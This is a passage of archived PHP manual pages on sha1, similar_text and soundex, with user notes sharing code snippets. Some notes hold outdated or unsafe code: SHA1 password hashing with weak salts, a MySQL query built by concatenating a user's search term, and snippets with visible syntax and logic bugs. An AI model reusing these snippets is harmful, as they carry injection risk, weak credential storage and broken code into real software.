    $bin = $strlen_bin < $b ? 0 : substr($bin, 0, $strlen_bin - $b);

    for ($i=0; $i < $b; $i++) $bin = '0'.$bin;

    return bindec($bin);
}

function sha1_ft($t, $b, $c, $d)
{
    if ($t < 20) return ($b & $c) | ((~$b) & $d);
    if ($t < 40) return $b ^ $c ^ $d;
    if ($t < 60) return ($b & $c) | ($b & $d) | ($c & $d);

    return $b ^ $c ^ $d;
}

function sha1_kt($t)
{
    if ($t < 20) return 1518500249;
    if ($t < 40) return 1859775393;
    if ($t < 60) return -1894007588;

    return -899497514;
}

function sha1($str, $raw_output=FALSE)
{
    if ( $raw_output === TRUE ) return pack('H*', sha1($str, FALSE));

    $x = sha1_str2blks_SHA1($str);
    $a =  1732584193;
    $b = -271733879;
    $c = -1732584194;
    $d =  271733878;
    $e = -1009589776;

    $x_count = count($x);

    for ($i = 0; $i < $x_count; $i += 16)
    {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;

        for ($j = 0; $j < 80; $j++)
        {
            $w[$j] = ($j < 16) ? $x[$i + $j] : sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);

            $t = sha1_safe_add(sha1_safe_add(sha1_rol($a, 5), sha1_ft($j, $b, $c, $d)), sha1_safe_add(sha1_safe_add($e, $w[$j]), sha1_kt($j)));
            $e = $d;
            $d = $c;
            $c = sha1_rol($b, 30);
            $b = $a;
            $a = $t;
        }

        $a = sha1_safe_add($a, $olda);
        $b = sha1_safe_add($b, $oldb);
        $c = sha1_safe_add($c, $oldc);
        $d = sha1_safe_add($d, $oldd);
        $e = sha1_safe_add($e, $olde);
    }

    return sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);
}

?>
rsemirag at yahoo dot com 02-Nov-2004 07:34
If you're struggling to generate an SHA encoded password for LDAP (PHP < 5.0), what you end up needing is this:

$userpassword = base64_encode(pack("H*", sha1($pass)));

I found this in the OpenLDAP FAQ (many thanks to Google and Ace), though I'm using the iPlanet LDAP server.

Ray Semiraglio
brian_bisaillon at rogers dot com 26-Feb-2004 05:19
Source code to create SSHA passwords...

public function HashPassword($password)
{
  mt_srand((double)microtime()*1000000);
  $salt = mhash_keygen_s2k(MHASH_SHA1, $password, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
  $hash = "{SSHA}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
  return $hash;
}

Source code to validate SSHA passwords...

public function ValidatePassword($password, $hash)
{
  $hash = base64_decode(substr($hash, 6));
  $original_hash = substr($hash, 0, 20);
  $salt = substr($hash, 20);
  $new_hash = mhash(MHASH_SHA1, $password . $salt);
   if (strcmp($original_hash, $new_hash) == 0)
     ... do something because your password is valid ...
  else
    echo 'Unauthorized: Authorization has been refused for the credentials you provided. Please login with a valid username and password.';
    ... be sure to clear your session data ...
}

Note: The format is compatible with OpenLDAP's SSHA scheme if I'm not mistaken.
mark at dot BANSPAM dot pronexus dot nl 30-Jan-2004 03:28
Looking for a simple function to implement HMAC-SHA1 but don't want to use the entire PEAR Message lib?

//Calculate HMAC-SHA1 according to RFC2104
// http://www.ietf.org/rfc/rfc2104.txt
function hmacsha1($key,$data) {
    $blocksize=64;
    $hashfunc='sha1';
    if (strlen($key)>$blocksize)
        $key=pack('H*', $hashfunc($key));
    $key=str_pad($key,$blocksize,chr(0x00));
    $ipad=str_repeat(chr(0x36),$blocksize);
    $opad=str_repeat(chr(0x5c),$blocksize);
    $hmac = pack(
                'H*',$hashfunc(
                    ($key^$opad).pack(
                        'H*',$hashfunc(
                            ($key^$ipad).$data
                        )
                    )
                )
            );
    return bin2hex($hmac);
}

It is very useful for client-authentication. see also http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Optionally you can change $hashfunc to 'md5' to make this an HMAC-MD5 function ;-)
If you want raw or base64 output instead of hexadecimal, just change the last return line.

Cheers,
Mark

p.s. the "$hmac =" line used to be 1 line but I had to cut it up in order to fit it here ;)
labarks 15-Nov-2003 12:06
Append this to the your sha1lib file to make it more portable.  If your version of php does support sha1() then it will try to use Mhash or else it will use the sha1lib.  Use $sha1 if you want to display which is being used.

if ( function_exists('sha1') )
    $sha1 = "sha1";

if ( !function_exists('sha1') && function_exists('mhash'))
{
    function sha1($hash_source)
    {
           $hash = mhash(MHASH_SHA1, $hash_source);
          $hex_hash = bin2hex($hash);
           return $hex_hash;
    }
    $sha1 = "Mhash";
}
if ( !function_exists('sha1') && !function_exists('mhash'))
{
    function sha1( $string, $raw_output = false )
    {
        $library = new Sha1Lib();

        return $raw_output ? $library->str_sha1($string) : $library->hex_sha1($string);
    }
    $sha1 = "sha1lib";
}
bobm at hp dot com 23-Apr-2003 06:12
To achieve raw binary format prior to PHP5, you can do this...

$raw = pack("H*", sha1($str));

Regards,

Bob Mader


Calculate the similarity between two strings

  • « sha1
  • soundex »
  • PHP Manual
  • String Functions
  • Calculate the similarity between two strings

similar_text

(PHP 4, PHP 5)

similar_text — Calculate the similarity between two strings

Description

int similar_text ( string $first , string $second [, float &$percent ] )

This calculates the similarity between two strings as described in Programming Classics: Implementing the World's Best Algorithms by Oliver (ISBN 0-131-00413-1). Note that this implementation does not use a stack as in Oliver's pseudo code, but recursive calls which may or may not speed up the whole process. Note also that the complexity of this algorithm is O(N**3) where N is the length of the longest string.

Parameters

first

The first string.

second

The second string.

percent

By passing a reference as third argument, similar_text() will calculate the similarity in percent for you.

Return Values

Returns the number of matching chars in both strings.

See Also

  • levenshtein() - Calculate Levenshtein distance between two strings
  • soundex() - Calculate the soundex key of a string

User Contributed Notes

I_HATE_SPAMMER- PAZ! 24-Oct-2014 06:59
Actually similar_text() is not bad...
it works good. But before processing i think is a good way to make a little mod like this

$var_1 = strtoupper("doggy");
$var_2 = strtoupper("Dog");

similar_text($var_1, $var_2, $percent);

echo $percent; // output is 75 but without strtoupper output is 50
ryan at derokorian dot com 05-Mar-2014 06:00
Note that this function is case sensitive:

<?php

$var1 = 'Hello';
$var2 = 'Hello';
$var3 = 'hello';

echo similar_text($var1, $var2);  // 5
echo similar_text($var1, $var3);  // 4
SPAM HATER 24-Jul-2012 03:16
Hey there,

Be aware when using this function, that the order of passing the strings is very important if you want to calculate the percentage of similarity, in fact, altering the variables will give a very different result, example :

<?php
$var_1 = 'PHP IS GREAT';
$var_2 = 'WITH MYSQL';

similar_text($var_1, $var_2, $percent);

echo $percent;
// 27.272727272727

similar_text($var_2, $var_1, $percent);

echo $percent;
// 18.181818181818
?>
daniel dot karbach at localhorst dot tv 17-Dec-2010 03:48
Please note that this function calculates a similarity of 0 (zero) for two empty strings.

<?php
similar_text("", "", $sim);
echo $sim; // "0"
?>
romain dot boyer at gmail dot com 08-Aug-2007 02:59
Like levenchtein(), You can do :

(strlen($string2) - similar_text($string,$string2))

to see how much characters have been changed.
Paul 19-Jan-2007 05:50
The speed issues for similar_text seem to be only an issue for long sections of text (>20000 chars).

I found a huge performance improvement in my application by just testing if the string to be tested was less than 20000 chars before calling similar_text.

20000+ took 3-5 secs to process, anything else (10000 and below) took a fraction of a second.
Fortunately for me, there was only a handful of instances with >20000 chars which I couldn't get a comparison % for.
louis #at# mulliemedia.com 07-Jun-2004 02:01
Note that this function will calculate the percentage blindly, without regard to the LENGHT of the string.

This may become important if you try to print similar names to SMALL strings :
e.g.
I want to print out the value if it is 90 percent similar to the other one : the value is HE, the correct value is HEC

The similar_text() function will return approximately 66.7 %, and it will not print it because it is smaller than 90 %, although almost all of the string was matched.
hate at spam dot com dot BR 10-May-2004 06:21
In PHP4+, you don't need to pass the percent variable as reference..
Instead, use this way:

<?php
similar_text($string1, $string2, $p);
echo "Percent: $p%";
?>

In PHP5, you'll get a ugly warning message when passing this variable as reference.. But it's configurable in php.ini (allow_call_time_pass_reference = Off)

That's it... Another great function! :)
julius at infoguiden dot no 06-Feb-2003 03:46
If you have reserved names in a database that you don't want others to use, i find this to work pretty good.
I added strtoupper to the variables to validate typing only. Taking case into consideration will decrease similarity.

<?php
$query = mysql_query("select * from $table") or die("Query failed");

while ($row = mysql_fetch_array($query)) {
      similar_text(strtoupper($_POST['name']), strtoupper($row['reserved']), $similarity_pst);
      if (number_format($similarity_pst, 0) > 90){
        $too_similar = $row['reserved'];
        print "The name you entered is too similar the reserved name &quot;".$row['reserved']."&quot;";
        break;
       }
    }
?>
georgesk at hotmail dot com 09-Mar-2002 05:14
Well, as mentioned above the speed is O(N^3), i've done a longest common subsequence way that is O(m.n) where m and n are the length of str1 and str2, the result is a percentage and it seems to be exactly the same as similar_text percentage but with better performance... here's the 3 functions i'm using..

<?php
function LCS_Length($s1, $s2)
{
  $m = strlen($s1);
  $n = strlen($s2);

  //this table will be used to compute the LCS-Length, only 128 chars per string are considered
  $LCS_Length_Table = array(array(128),array(128));

  //reset the 2 cols in the table
  for($i=1; $i < $m; $i++) $LCS_Length_Table[$i][0]=0;
  for($j=0; $j < $n; $j++) $LCS_Length_Table[0][$j]=0;

  for ($i=1; $i <= $m; $i++) {
    for ($j=1; $j <= $n; $j++) {
      if ($s1[$i-1]==$s2[$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j-1] + 1;
      else if ($LCS_Length_Table[$i-1][$j] >= $LCS_Length_Table[$i][$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j];
      else
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i][$j-1];
    }
  }
  return $LCS_Length_Table[$m][$n];
}

function str_lcsfix($s)
{
  $s = str_replace(" ","",$s);
  $s = ereg_replace("[��������]","e", $s);
  $s = ereg_replace("[������������]","a", $s);
  $s = ereg_replace("[��������]","i", $s);
  $s = ereg_replace("[���������]","o", $s);
  $s = ereg_replace("[��������]","u", $s);
  $s = ereg_replace("[�]","c", $s);
  return $s;
}

function get_lcs($s1, $s2)
{
  //ok, now replace all spaces with nothing
  $s1 = strtolower(str_lcsfix($s1));
  $s2 = strtolower(str_lcsfix($s2));

  $lcs = LCS_Length($s1,$s2); //longest common sub sequence

  $ms = (strlen($s1) + strlen($s2)) / 2;

  return (($lcs*100)/$ms);
}
?>

you can skip calling str_lcsfix if you don't worry about accentuated characters and things like that or you can add up to it or modify it for faster performance, i think ereg is not the fastest way?
hope this helps.
Georges
daniel at reflexionsdesign dot com 10-Oct-2001 03:30
If performance is an issue, you may wish to use the levenshtein() function instead, which has a considerably better complexity of O(str1 * str2).
mogmios at hushmail dot com 02-Feb-2000 02:39
Don't forget your passing the double as a reference. If you use this and soundex() together you can get a pretty good guess as to how well two words match. Is useful for simple bot-like programs.

<?php
$i = similar_text($first_word, $second_word, &$p);
echo("Matched: $i  Percentage: $p%");
?>


Calculate the soundex key of a string

  • « similar_text
  • sprintf »
  • PHP Manual
  • String Functions
  • Calculate the soundex key of a string

soundex

(PHP 4, PHP 5)

soundex — Calculate the soundex key of a string

Description

string soundex ( string $str )

Calculates the soundex key of str.

Soundex keys have the property that words pronounced similarly produce the same soundex key, and can thus be used to simplify searches in databases where you know the pronunciation but not the spelling. This soundex function returns a string 4 characters long, starting with a letter.

This particular soundex function is one described by Donald Knuth in "The Art Of Computer Programming, vol. 3: Sorting And Searching", Addison-Wesley (1973), pp. 391-392.

Parameters

str

The input string.

Return Values

Returns the soundex key as a string.

Examples

Example #1 Soundex Examples

<?php
soundex("Euler")       == soundex("Ellery");    // E460
soundex("Gauss")       == soundex("Ghosh");     // G200
soundex("Hilbert")     == soundex("Heilbronn"); // H416
soundex("Knuth")       == soundex("Kant");      // K530
soundex("Lloyd")       == soundex("Ladd");      // L300
soundex("Lukasiewicz") == soundex("Lissajous"); // L222
?>

See Also

  • levenshtein() - Calculate Levenshtein distance between two strings
  • metaphone() - Calculate the metaphone key of a string
  • similar_text() - Calculate the similarity between two strings

User Contributed Notes

Dirk Hoeschen - Feenders de 26-Jan-2014 08:00
I made some improvements to the "Cologne Phonetic" function of niclas zimmer. Key and value of the arrays are inverted to uses simple arrays instead of multidimensional arrays. Therefore all loops and iterations are not longer necessary to find the matching value  for a char.
I put the function into a static class and moved the array declarations outside the function.

The result is more reliable and five times faster than the original.

<?php
class CologneHash() {

    static $eLeading = array("ca" => 4, "ch" => 4, "ck" => 4, "cl" => 4, "co" => 4, "cq" => 4, "cu" => 4, "cx" => 4, "dc" => 8, "ds" => 8, "dz" => 8, "tc" => 8, "ts" => 8, "tz" => 8);

    static $eFollow = array("sc", "zc", "cx", "kx", "qx");

    static $codingTable = array("a" => 0, "e" => 0, "i" => 0, "j" => 0, "o" => 0, "u" => 0, "y" => 0,
        "b" => 1, "p" => 1, "d" => 2, "t" => 2, "f" => 3, "v" => 3, "w" => 3, "c" => 4, "g" => 4, "k" => 4, "q" => 4,
        "x" => 48, "l" => 5, "m" => 6, "n" => 6, "r" => 7, "c" => 8, "s" => 8, "z" => 8);

    public static function getCologneHash($word)
    {
        if (empty($word)) return false;
        $len = strlen($word);

        for ($i = 0; $i < $len; $i++) {
            $value[$i] = "";

            //Exceptions
            if ($i == 0 && $word[$i] . $word[$i + 1] == "cr") {
                $value[$i] = 4;
            }

            if (isset($word[$i + 1]) && isset(self::$eLeading[$word[$i] . $word[$i + 1]])) {
                $value[$i] = self::$eLeading[$word[$i] . $word[$i + 1]];
            }

            if ($i != 0 && (in_array($word[$i - 1] . $word[$i], self::$eFollow))) {
                $value[$i] = 8;
            }

            // normal encoding
            if ($value[$i]=="") {
                if (isset(self::$codingTable[$word[$i]])) {
                    $value[$i] = self::$codingTable[$word[$i]];
                }
            }
        }

        // delete double values
        $len = count($value);

        for ($i = 1; $i < $len; $i++) {
            if ($value[$i] == $value[$i - 1]) {
                $value[$i] = "";
            }
        }

        // delete vocals
        for ($i = 1; $i > $len; $i++) {
            // omitting first characer code and h
            if ($value[$i] == 0) {
                $value[$i] = "";
            }
        }

        $value = array_filter($value);
        $value = implode("", $value);

        return $value;
    }

}
?>
nicolas dot zimmer at einfachmarke dot de 03-Aug-2008 12:47
Since soundex() does not produce optimal results for German language
we have written a function to implement the so called Kölner Phonetik
(Cologne Phonetic).

Please find the code below in the hope it might be useful:

<?php
/**
 * A function for retrieving the Kölner Phonetik value of a string
 *
 * As described at http://de.wikipedia.org/wiki/Kölner_Phonetik
 * Based on Hans Joachim Postel: Die Kölner Phonetik.
 * Ein Verfahren zur Identifizierung von Personennamen auf der
 * Grundlage der Gestaltanalyse.
 * in: IBM-Nachrichten, 19. Jahrgang, 1969, S. 925-931
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * @package phonetics
 * @version 1.0
 * @link http://www.einfachmarke.de
 * @license GPL 3.0 <http://www.gnu.org/licenses/>
 * @copyright  2008 by einfachmarke.de
 * @author Nicolas Zimmer <nicolas dot zimmer at einfachmarke.de>
 */

function cologne_phon($word){

  /**
  * @param  string  $word string to be analyzed
  * @return string  $value represents the Kölner Phonetik value
  * @access public
  */

    //prepare for processing
    $word=strtolower($word);
    $substitution=array(
            "ä"=>"a",
            "ö"=>"o",
            "ü"=>"u",
            "ß"=>"ss",
            "ph"=>"f"
            );

    foreach ($substitution as $letter=>$substitution) {
        $word=str_replace($letter,$substitution,$word);
    }

    $len=strlen($word);

    //Rule for exeptions
    $exceptionsLeading=array(
    4=>array("ca","ch","ck","cl","co","cq","cu","cx"),
    8=>array("dc","ds","dz","tc","ts","tz")
    );

    $exceptionsFollowing=array("sc","zc","cx","kx","qx");

    //Table for coding
    $codingTable=array(
    0=>array("a","e","i","j","o","u","y"),
    1=>array("b","p"),
    2=>array("d","t"),
    3=>array("f","v","w"),
    4=>array("c","g","k","q"),
    48=>array("x"),
    5=>array("l"),
    6=>array("m","n"),
    7=>array("r"),
    8=>array("c","s","z"),
    );

    for ($i=0;$i<$len;$i++){
        $value[$i]="";

        //Exceptions
        if ($i==0 AND $word[$i].$word[$i+1]=="cr") $value[$i]=4;

        foreach ($exceptionsLeading as $code=>$letters) {
            if (in_array($word[$i].$word[$i+1],$letters)){

                    $value[$i]=$code;

}                }

        if ($i!=0 AND (in_array($word[$i-1].$word[$i],
$exceptionsFollowing))) {

            value[$i]=8;

}

        //Normal encoding
        if ($value[$i]==""){
                foreach ($codingTable as $code=>$letters) {
                    if (in_array($word[$i],$letters))$value[$i]=$code;
                }
            }
        }

    //delete double values
    $len=count($value);

    for ($i=1;$i<$len;$i++){
        if ($value[$i]==$value[$i-1]) $value[$i]="";
    }

    //delete vocals
    for ($i=1;$i>$len;$i++){//omitting first characer code and h
        if ($value[$i]==0) $value[$i]="";
    }

    $value=array_filter($value);
    $value=implode("",$value);

    return $value;

}

?>
shortcut 13-Nov-2006 08:24
The answer to whether soundex works except for the first letter in klancy vs clancy is to always prefix words with the same letter.

aklancy will match aclancy
bklancy will match bclancy

soundex seems to only check the 1st 2 syllables.??
ie:  spectacular matches spectacle

just a thought if you rely on soundex.

k-
04-Oct-2005 09:25
Since the first letter is included in the phonetic representation in the output, it is worth pointing out that if you want a soundex key to work without the problems of klansy and clansy sounding different, take the substring from the first letter, as the first letter is the main constant of the word, and the numerical value is that of the phontic structure of the word.
crchafer-php at c2se dot com 13-Sep-2005 05:25
Rewritten, maybe -- but the algorithm has some obvious
optimisations which can be done, for example...

        function text__soundex( $text ) {
                $k = ' 123 12  22455 12623 1 2 2';
                $nl = strlen( $tN = strtoupper( $text ) );
                $p = trim( $k{ ord( $tS = $tN{0} ) - 65 } );
                for( $n = 1; $n < $nl; ++$n )
                        if( ( $l = trim( $k{ ord( $tN{ $n } ) - 65 } ) ) != $p )
                                $tS .= ( $p = $l );
                return substr( $tS . '000', 0, 4 );
        }

// Notes:
// $k is the $key, essentially $SoundKey inverted
// $tN is the uppercase of the text to be optimised
// $tS is the partaully generated output
// $l is the current letter, $p the previous
// $n and $nl are iteration indicies
// 65 is ord('A'), precalculated for speed
// none ascii letters are not supported
// watch the brackets, quite a mixture here

(Code has suffered only basic tests, though it appears to
match the output of PHP's soundex(), speed untested --
though this should be /much/ faster than a4_perfect's
rewrite due to the removal of most loops and compares.)

C
2005-09-13
Marc Quinton. 06-Jan-2005 03:53
a French soundex version ; could be used for other foreigns languages where soudex lacks. Perhaps, a class with each language specifics could be writen.

http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
justin at NO dot blukrew dot SPAM dot com 21-Sep-2004 01:18
I originally looked at soundex() because I wanted to compare how individual letters sounded. So, when pronouncing a string of generated characters it would be easy to to distinguish them from eachother.  (ie, TGDE is hard to distinguish, whereas RFQA is easier to understand). The goal was to generate IDs that could be easily understood with a high degree of accuracy over a radio of varying quality. I quickly figured out that soundex and metaphone wouldn't do this (they work for words), so I wrote the following to help out. The ID generation function iteratively calls chrSoundAlike() to compare each new character with the preceeding characters. I'd be interested in recieving any feedback on this. Thanks.

<?php
function chrSoundAlike($char1, $char2, $opts = FALSE) {
    $char1 = strtoupper($char1);
    $char2 = strtoupper($char2);
    $opts  = strtoupper($opts);

    // Setup the sets of characters that sound alike.
    // (Options: include numbers, include W, include both, or default is none of those.)
    switch ($opts) {
    case 'NUMBERS':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'STRICT':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'BOTH':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    default:
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U'));
        break;
    }

    // See if $char1 is in a set.
    $matchset = array();
    for ($i = 0; $i < count($sets); $i++) {
        if (in_array($char1, $sets[$i])) {
            $matchset = $sets[$i];
        }
    }

    // IF char2 is in the same set as char1, or if char1 and char2 and the same, then return true.
    if (in_array($char2, $matchset) OR $char1 == $char2) {
        return TRUE;
    } else {
        return FALSE;
    }
}
?>
mail at gettheeawayspam dot iaindooley dot com 11-Jul-2003 08:04
The soundex 'different letter in front' problem can be solved by using levenshtein() on the soundex codes. in my application, which is searching a database of album names for entries that match a particular user provided string, i do the following:

1. Search the database for the exact name
2. Search the database for entries where the name occurs anyway as a string
3. Search the database for entries where any of the words in the name (if the user has typed in more than one word) is present, except for little words (and, the, of etc)
4. Then, if all this fails, I go to plan b:

- calculate the levenshtein distance (levenshtein()) between the user search term and each of the entries in the database as a percentage of the length of the user search term entered

- calculate the levenshtein distance between the metphone codes of the user search term entered and each field in the database as a percentage of the length of the metaphone code of the user search term entered

- calculate the levenshtein distance between the soundex codes of the user search term entered and each field in the database as a percentage of the length of the soundex code of the original user search term entered

if any of these percentages is less than 50 (means that two soundex codes with different first letters will be accepted!!) then the entry is accepted as a possible match.
pee whitt at dental dot ufl dor edu 09-Jun-2003 03:12
fie at myrealbox dot com-

regarding your soudex syllable request- i think counting vowel clusters in the word will result in an accurate count of syllables.  so no soudex feature is necessary, just count through the chars in the word, and everytime you run from vowel to consanant, increment the syllable count.

using this logic, this sentence is categorized as follows.
2 1 2 1 1 (3) (0) (4) (0) 2

where (#) marks a word that is incorrectly categorized.  i'm sure usiong a little thinking one could figure out the logic in those cases that would result in an accurate count.  counting changes from vowel to consanant would yield-
(1) 1 2 1 2 1 (4) 1 2

taking the average and then cieling of the two types would fix most of the errors.
fie at myrealbox dot com 09-Mar-2003 02:29
eek... hosting got taken down on that server.. here's the code for the previous

function cg_sylc($nos){
  $nos = strtoupper($nos);
  $syllables = 0;

  $before = strlen($nos);
  $nos = str_replace(array('AA','AE','AI','AO','AU',
  'EA','EE','EI','EO','EU','IA','IE','II','IO',
  'IU','OA','OE','OI','OO','OU','UA','UE',
  'UI','UO','UU'), "", $nos);
  $after = strlen($nos);
  $diference = $before - $after;
  if($before != $after) $syllables += $diference / 2;

  if($nos[strlen($nos)-1] == "E") $syllables --;
  if($nos[strlen($nos)-1] == "Y") $syllables ++;

  $before = $after;
  $nos = str_replace(array('A','E','I','O','U'),"",$nos);
  $after = strlen($nos);
  $syllables += ($before - $after);

  return $syllables;
}

function cg_SoundEx($SExStr){
  $syl = cg_sylc($SExStr);
  $SExStr = strtoupper($SExStr);

    for($i = 1, $ii = 2,print $SExStr[0]; ;$ii++){

      if(($SExStr[$i] != $SExStr[$ii])){
          $tsstr .= $SExStr[$ii];
          $i ++;
      }
      if($SExStr[$ii] == false){
        break;
      }
    }

  $tsstr = str_replace(array('A', 'E', 'H', 'I', 'O', 'U', 'W', 'Y'), "", $tsstr);
  $tsstr = str_replace(array('B', 'F', 'P', 'V'), "1", $tsstr);
  $tsstr = str_replace(array('C', 'G', 'J', 'K', 'Q', 'S', 'X', 'Z', '�'), "2", $tsstr);
  $tsstr = str_replace(array('D', 'T'), "3", $tsstr);
  $tsstr = str_replace(array('L'), "4", $tsstr);
  $tsstr = str_replace(array('M', 'N', '�'), "5", $tsstr);
  $tsstr = str_replace(array('R'), "6", $tsstr);

  while($iii < 3){
    if($tsstr[$iii] != false){
      $ttsstr .= $tsstr[$iii];
    } else {
      $ttsstr .= "0";
    }
    $iii ++;
  }
  $ttsstr .= $syl;
  print $ttsstr;
}
fie at myrealbox dot com 26-Feb-2003 02:34
administrator at zinious dot com:

Sorry but your code wasnt soundex compliant
here were my results with your code, my code, and the default..

string: rest
R620 perform administrator's function 0.009452
R230 perform cg's function 0.001779
R230 perform default soundex function 9.4999999999956E-005

string: reset
R620 perform administrator's function 0.0055900000000001
R230 perform cg's function 0.00091799999999997
R230 perform default soundex function 0.00010600000000005

i dunno why the default, every once in a while, will for some reason be 9.xxx. very odd i think..
my code is at the bottom.. these tests were before the soundex modification as i discribe below..
btw for all the original specs on the soundex algorithm goto
http://www.star-shine.net/~functionifelse/GFD/?word=soundex

dalibor dot toth at podravka dot hr:

yes it is perhaps sad that it gives you the same code,
even metaphone has that problem..
but one might not want to be so accurate.. if somone
is on search engine.. lets call it shmoogle looking
for "php array reset" and search for "php array rest"
then shmoogle might return stuff about beds and such..
(if they were all stupid and didnt use the first words
as more important) so anyways shmoogle might need it to
be less accurate in such cases.. but nonetheless..
my fix for this is to add the number of syllables at the end of the string making it 5 characters long..
this would work as fallows..

code at: http://star-shine.net/~functionifelse/cg_soundex.php

or if you wanted to just use the default soundex function

$str = soundex($str).cg_sylc($str);

revolutionary more or less.. problly less...
This function is only meant for one word though.. i'd like to see someone
modify it to use split and run it through a loop to get each words cg_soundex
that'll be fun ;)
i would also like to sujest to the php zend apache kinda people who make php
to add an optional additional variable the user can specify as fallows

soundex("string",SYL);

which would return the number of syllables at the end of the string
highly accurate sound testing woo! also you could add VOW for vowels
and CONS for consonant or whatever else someone would want..
but i really think the number of syllables will be pleanty efficiant.
umm.. if this helps anyone your welcome.. ummm.. good luck in all
your php adventures.. oh... and the final results

syllables
1 rest
2 reset
metaphone
RST rest
RST reset
soundex
R230 rest
R230 reset

string: rest
R2301 perform cg's function 0.00211
R230 perform default soundex function 0.00011299999999997

string: reset
R2302 perform cg's function 0.001691
R230 perform default soundex function 0.00010399999999999

the default function is a tad bit faster..
so maybe they will add this option and we'll have speed and accuracy.

SILENT WIND OF DOOM WOOSH!
jr 16-Jan-2003 06:25
a workaround for the mysql/php differences in implementation of soundex is to do the soundex comparison entirely within mysql.

for example:
$sql = "SELECT * FROM table WHERE substring(soundex(field), 1, 4) =  substring(soundex('".$wordsearch."'), 1, 4)";
info at nederlandsch dot net 20-Dec-2002 02:26
MySQL soundex (3.23.49) doesn't examine the first character at all to see whether it should be skipped. Therefore the Dutch name of The Hague, the country's government seat, 's-Gravenhage will give a soundex value of '261 in MySQL and S615 in PHP.
dcallaghan at linuxmail dot org 11-Jun-2002 01:25
Although the standard soundex string is 4 characters long, and this is what's returned by the php function, some database programs return an arbitrary number of strings. MySQL, for instance.

The MySQL documentation covers this, recommending that you may wish to use substring to output the standard 4 characters. Let's take 'Dostoyevski' as an example.

select soundex("Dostoyevski")
returns D2312
select substring(soundex("Dostoyevski"), 1, 4);
returns D231

PHP will return the value as 'D231'

So, to use the soundex function to generate a WHERE parameter in a MySQL SELECT statement, you might try this:
$s = soundex('Dostoyevski');
SELECT * FROM authors WHERE substring(soundex(lastname), 1 , 4) = "' . $s  . '"';

Or, if you want to bypass the php function
$result = mysql_query("select soundex('Dostoyevski')");
$s = mysql_result($result, 0, 0);
witold4249 at rogers dot com 17-May-2002 07:11
A MUCH easier way to check for similarity between words and avoid the problems that come up with Klancy/Clancy would be to simply add any letter infront of the string

ie:  OKlancy/OClancy
17-May-2002 07:07
A MUCH easier way to do the above search would be to simply add any letter in front of the string and then compare them.

ie. Klancy => LKlancy
    Clancy => LClancy
administrator at zinious dot com 10-Apr-2002 05:21
I wrote this function a long time ago in CGI-perl and then translated (if you can call it that) into PHP.  A little clunky to say the least, but should handle true soundex specs 100%:

// ---begin code---

function MakeSoundEx($stringtomakesoundexof)
{
    $temp_Name = $stringtomakesoundexof;
    $SoundKey1 = "BPFV";
    $SoundKey2 = "CSKGJQXZ";
    $SoundKey3 = "DT";
    $SoundKey4 = "L";
    $SoundKey5 = "MN";
    $SoundKey6 = "R";
    $SoundKey7 = "AEHIOUWY";

        $temp_Name = strtoupper($temp_Name);
    $temp_Last = "";
    $temp_Soundex = substr($temp_Name, 0, 1);

    $n = 1;
    for ($i = 0; $i < strlen($SoundKey1); $i++)
    {
            if ($temp_Soundex == substr($SoundKey1, i - 1, 1))
        {
            $temp_Last = "1";
            }
    }
    for ($i = 0; $i < strlen($SoundKey2); $i++)
    {
            if ($temp_Soundex == substr($SoundKey2, i - 1, 1))
        {
            $temp_Last = "2";
            }
    }
    for ($i = 0; $i < strlen($SoundKey3); $i++)
    {
            if ($temp_Soundex == substr($SoundKey3, i - 1, 1))
        {
            $temp_Last = "3";
            }
    }
    for ($i = 0; $i < strlen($SoundKey4); $i++)
    {
            if ($temp_Soundex == substr($SoundKey4, i - 1, 1))
        {
            $temp_Last = "4";
            }
    }
    for ($i = 0; $i < strlen($SoundKey5); $i++)
    {
            if ($temp_Soundex == substr($SoundKey5, i - 1, 1))
        {
            $temp_Last = "5";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "6";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "";
            }
    }

    for ($n = 1; $n < strlen($temp_Name); $n++)
    {
        if (strlen($temp_Soundex) < 4)
        {
            for ($i = 0; $i < strlen($SoundKey1); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey1, $i - 1, 1) && $temp_Last != "1")
                {
                    $temp_Soundex = $temp_Soundex."1";
                    $temp_Last = "1";
                }
            }
            for ($i = 0; $i < strlen($SoundKey2); $i++)
            {
